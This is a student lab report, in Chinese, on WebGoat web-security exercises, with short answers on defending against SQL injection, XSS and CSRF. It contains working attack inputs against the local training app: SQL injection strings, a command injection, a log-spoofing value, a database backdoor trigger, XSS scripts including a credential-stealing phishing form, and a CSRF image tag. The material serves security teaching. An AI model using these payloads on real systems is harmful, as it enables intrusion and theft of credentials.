20155217《网络对抗》Exp09 Web安全基础实践
20155217《网络对抗》Exp09 Web安全基础实践
实践内容
- 关于webgoat:询问了很多人在安装webgoat时出现了错误,安装失败,因此直接通过同学copy了老师的虚拟机进行本次实验。
- 输入命令
java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat
。
WebGoat
使用8080端口
,所以在浏览器上访问localhost:8080/WebGoat
进入WebGoat。
String SQL Injection
- 按提示先输入
Smith
,发现出现在SELECT * FROM user_data WHERE last_name = 'Smith'
两个单引号中间,因此我们可以通过控制在输入框中输入的字符串来控制select语句。 - 输入
'or 1='1
,代码变为SELECT * FROM user_data WHERE last_name = ''or 1='1'
,这里的1='1'
为永真式,因此成功显示所有信用卡号。
LAB:SQL Injection(Stage 1:String SQL Injection)
- 很多网站密码验证都是
select * from User where username=''and password =''
,理论上只要pwd = 'or 1=1 --
,就可以实现任何用户的登录。 - 但实际上,以用户Neville登录,在密码栏中输入
'or 1=1 --
进行SQL注入登录失败:
- 查看代码发现,密码长度定义为8位,而我们需要输入的
'or 1=1 --
为10位,因此需要修改长度为10。
- 输入
'or 1=1 --
,登录成功。
Stage 3: Numeric SQL Injection
- 先修改密码长度,然后输入
'or 1=1 --
以larry登录,登陆后看到浏览员工信息的按钮是ViewProfile
:
- 分析这个按钮的代码,发现这个地方是以员工ID作为索引传递参数的。我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的
value
值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:
- 之后就可以查看到老板的信息:
Log Spoofing
- 因为输入的用户名会被追加到日志文件中,所以可以欺骗管理员来使用户名为“admin”的用户在日志中显示“成功登录”。
- 输入
yd%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符。
Numeric SQL Injection
- 修改
SELECT * FROM weather_data WHERE station = 101 or 1=1
为永真式来达到查看全部天气数据的目的。
- 选中
Columbia
,点Go
,可以看到所有天气数据。
Command Injection
- 为了能在目标主机上执行系统命令,修改代码:在
AccessControlMatrix.help
旁边加上"&&ifconfig"
:
- 在下拉菜单中能看到修改后的值:
- 选中修改后的值再点
view
,可以看到命令被执行,出现系统网络连接情况:
Database Backdoors
- 根据提示在如下页面输入工号,进行查询一些信息:
- 发现客户端输入的查询语句没有在服务器端进行验证。输入
101; update employee set salary=10000
,服务器为我们更新。 - 输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='邮箱' WHERE userid = NEW.userid
,使没创建一个新用户的时候,自动为其填充为我们所希望的邮箱。
Phishing with XSS
- 在搜索框中输入任何内容,搜索后都会显示在下方。
- 可以输入一个
html
代码,添加html认证信息
,通过提交时将认证信息提交服务器。
- 这次
html
完整代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Reflected XSS Attacks
- 需要在相应信息栏输入包含URL值的内容,使当前页面跳转到另一个(指定)网页,或者当用户点击
purchase
的时候跳出恶意信息。 - 在最后一个输入框中输入
<script>alert("20155217says hello");</script>
,点击purchase
,弹出如下对话框。
- 也可以输入指定
URL
(login.html是从虚拟机中找的,存储在/var/www/html目录下):<script>window.location.href="http://127.0.0.1:8080/login.html";</script>
Stored XSS Attacks
- 利用脚本语言在网页中编写非法的留言内容,使得其他用户访问该页面的时候执行编写的脚本。
- 在
message
输入框中输入<script>alert("attacked by yangdi");</script>
执行脚本。
虽然以上这两个实验效果一样,但原理是不一样的。存储型XSS是持久化的,代码是存储在服务器中,比较典型的例子就是上面所用的留言板;而反射型XSS攻击是非持久化的,应用的场景比如欺骗用户自己去点击链接才能触发XSS代码,也就是说它的代码是不存在服务器中的。
Cross Site Request Forgery (CSRF)
- 输入
<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=4000"/>
来构造邮件。 - 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。
基础问题回答
SQL注入攻击原理,如何防御
- SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。
- 解决办法:从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。
XSS攻击的原理,如何防御
- XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。 - 解决方法:一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤。过滤用户输入的检查用户输入的内容中是否有非法内容。如
<>
、”
、‘
、%
、;
、()
、&
、+
等严格控制输出。
CSRF攻击原理,如何防御
- CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,可以这样来理解:攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
- 解决办法:目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP头中自定义属性并验证。
实验总结与体会
这次实验对我来说难点之一在于webgoat
全英文的实验环境,实验的理解与完成很大程度上是在谷歌的帮助下做完的,心累累。另外,SQL注入攻击
、XSS攻击
等是关于web安全方面的攻击,本次在具体情形下进行实践,感觉比以往理解的更加透彻一些,而且更容易找到一些攻击的规律(可能是对能偷懒的方法天生敏锐吧~)。
20155217《网络对抗》Exp09 Web安全基础实践的更多相关文章
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
- 20145326蔡馨熤《网络对抗》—— Web安全基础实践
20145326蔡馨熤<网络对抗>—— Web安全基础实践 1.实验后回答问题 (1)SQL注入攻击原理,如何防御. 原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程 ...
- 20155206《网络对抗》Web安全基础实践
20155206<网络对抗>Web安全基础实践 实验后问题回答 (1)SQL注入攻击原理,如何防御 攻击原理:SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查 ...
- 20155211 网络对抗 Exp9 Web安全基础实践
20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...
- 20155305《网络对抗》Web安全基础实践
20155305<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155307《网络对抗》Web安全基础实践
20155307<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155311《网络对抗》Web安全基础实践
20155311<网络对抗>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL ...
- 20155338《网络对抗》Web安全基础实践
20155338<网络对抗>Web安全基础实践 实验过程 WebGoat 在终端中输入 java -jar webgoat-container-7.0.1-war-exec.jar 开启W ...
- 20145216史婧瑶《网络对抗》Web安全基础实践
20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...
随机推荐
- Kubernetes+Docker的云平台在CentOS7系统上的安装
Kubernetes+Docker的云平台在CentOS7系统上的安装 1.运行VirtualBox5. 2.安装CentOS7系统. 注意:选择Basic Server类型 安装过程略. 3.修改计 ...
- 安卓开发环境配置之Windows+ADT+eclipse
安卓环境搭建之Windows+ADT+eclipse 要点: 1.安装JDK 2.安装Android SDK 3.安装eclipse 4.安装ADT 5.安装调试环境 正文: 1.安装JDK 1.1准 ...
- 想涨工资吗?那就学习Scala,Golang或Python吧
[编者按]据薪水调查机构 PayScale 提供的数据显示,掌握 Scala,Golang 和 Python 语言以及诸如 Apache Spark 之类的大数据技术,能带来最大的薪水提升.本文作者为 ...
- Python数据类型之dict和set
Python内置了字典:dict的支持.在其他语言中也成为map,使用键-值(key-value)存储,具有极快的查找速度. 把数据放入dict的方法,除了初始化时指定外,还可以通过key放入. 由于 ...
- jmeter如何保持JSESSIONID
利用Jmeter做接口测试的时候,如何提取头部的JSESSIONID然后传递到下一个请求,继续完成当前用户的请求. 一.如果响应数据里面没有返回JSESSIONID,直接添加http cookies ...
- 修改Sql Server 数据库文件默认存放目录
-- 更改数据文件存放目录 EXEC xp_instance_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='Software\Micr ...
- QT的初步学习笔记
一.Qt简介 1.Qt是什么:图形用户界面程序框架 能做界面的还有什么:MFC.GTK+ 2.Qt的由来和发展 3.为什么选择Qt 二.Qt环境与工具 1.工具 a.Qt助手:里面详细说明了Qt ...
- tomcat 闪退处理
参考文章:https://www.cnblogs.com/lanjianhappy/p/6491436.html 首先确保JDK环境变量已经配置好! 设置jdk环境 变量:https://jingya ...
- 【转】Zookeeper学习---zookeeper 选举机制介绍
[原文]https://www.toutiao.com/i6593162565872779784/ zookeeper集群 配置多个实例共同构成一个集群对外提供服务以达到水平扩展的目的,每个服务器上的 ...
- 更改win系统的鼠标样式
一.找一个你心仪的鼠标样式(.cur文件),并放到 C:\Windows\Cursors 目录下 二.打开,控制面板 -> 硬件和声音 -> 鼠标 ,如下图: 三.浏览鼠标目录,找到你存放 ...